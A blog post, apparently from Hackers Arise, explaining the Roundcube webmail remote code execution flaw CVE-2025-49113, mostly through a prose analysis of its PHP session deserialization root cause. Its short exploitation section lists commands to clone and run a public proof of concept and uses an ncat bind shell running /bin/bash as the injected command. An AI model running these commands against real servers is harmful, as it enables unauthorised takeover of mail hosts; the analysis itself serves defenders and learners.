Welcome back, rookie cyberwarriors! Roundcube is one of the most widely used open-source webmail clients, integrated by default into major hosting platforms such as cPanel and Plesk. In June 2025, a critical security vulnerability — CVE-2025-49113 — was publicly disclosed. This flaw allows remote code execution (RCE) by authenticated users, potentially putting more than 53 […]

The post Critical Remote Code Execution (RCE) in Roundcube, CVE-2025-49113: Your Email is Not Safe! first appeared on Hackers Arise.

Welcome back, rookie cyberwarriors!

Roundcube is one of the most widely used open-source webmail clients, integrated by default into major hosting platforms such as cPanel and Plesk.

In June 2025, a critical security vulnerability — CVE-2025-49113 — was publicly disclosed. This flaw allows remote code execution (RCE) by authenticated users, potentially putting more than 53 million hosts at risk. Remarkably, the vulnerability had remained undetected for nearly a decade, affecting all versions from 1.1.0 through 1.6.10.

In this article, I’ll explore the root cause of this vulnerability, how it works, and how attackers might exploit it.

Understanding the Root Cause

CVE-2025-49113 is fundamentally a PHP object deserialization vulnerability that exploits a critical flaw in Roundcube’s session management and file upload functionality. The vulnerability resides specifically in the program/actions/settings/upload.php file, where insufficient input validation of the _from parameter creates an opportunity for attackers to inject malicious serialized PHP objects into the application’s session handling mechanism.

PHP object deserialization vulnerabilities occur when an application accepts untrusted serialized data and reconstructs it into PHP objects without proper validation. During the deserialization process, PHP automatically calls certain “magic methods” on the reconstructed objects, such as __construct(), __destruct(), or __wakeup(). If an attacker can control the properties of these objects, they can potentially trigger dangerous operations during these method calls, leading to code execution.

The particular complexity of this vulnerability lies in how it exploits Roundcube’s custom session serialization format. Unlike standard PHP session handling, Roundcube implements its own serialization mechanism that uses pipe characters as delimiters and has specific handling for certain control characters. This custom implementation contains a critical flaw in how it processes the exclamation mark character, which can be exploited to corrupt the session structure and inject arbitrary serialized objects.

Detailed Code Flow Analysis

The vulnerability manifests through a complex chain of operations that begins with user input processing and culminates in dangerous object deserialization. When a user uploads a file through Roundcube’s settings interface, the application extracts the _from parameter from the HTTP request using the rcube_utils::get_input_string() function. This parameter is intended to indicate the context or source of the upload operation, typically containing values like “edit-identity” or “add-response”.

The extracted _from value undergoes minimal processing where any “add-” or “edit-” prefix is removed using a regular expression, and any dot characters are replaced with hyphens. This processed value becomes the $type variable, which is then used as a key component in the session storage mechanism. The critical issue is that this processing is insufficient to prevent malicious payloads from being injected into the session handling system.

When the application calls $rcmail->session->append($type . '.files', $id, $attachment), it triggers Roundcube’s custom session management logic. If more than 0.5 seconds have passed since the session was last reloaded, the append operation automatically triggers a session reload to ensure data consistency. This reload operation is where the vulnerability becomes exploitable.

During the session reload process, Roundcube calls its custom session_decode() function to reconstruct the session data from its serialized form. This custom implementation contains a critical flaw in how it handles the exclamation mark character. When processing serialized session data, the function treats an exclamation mark as a special indicator, but it fails to properly validate the subsequent data structure. This oversight allows attackers to inject malicious serialized objects that will be processed during the session reconstruction.

The exploitation becomes possible because an attacker can craft a malicious _from parameter that, after the minimal processing, contains serialized PHP object data. When this data is incorporated into the session and subsequently deserialized during the reload operation, it triggers the instantiation of attacker-controlled objects, potentially leading to code execution.

Exploitation

A proof of concept (PoC) is published by FearsOff on Github:

kali> git clone https://github.com/fearsoff-org/CVE-2025-49113

kali> cd CVE-2025-49113

To run the PoC code, the following arguments need to be used:

kali> php CVE-2025-49113.php target_url username password command

I’ll use ncat -lvnp 4444 -e /bin/bash to set a bind shell for the command argument.

Next, run

kali> nc 4444

And we got an RCE.

Summary

This vulnerability is a clear reminder that even well-established and widely used applications can have serious security flaws that threaten an organization’s safety.

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The post Critical Remote Code Execution (RCE) in Roundcube, CVE-2025-49113: Your Email is Not Safe! first appeared on Hackers Arise.

Source: HackersArise
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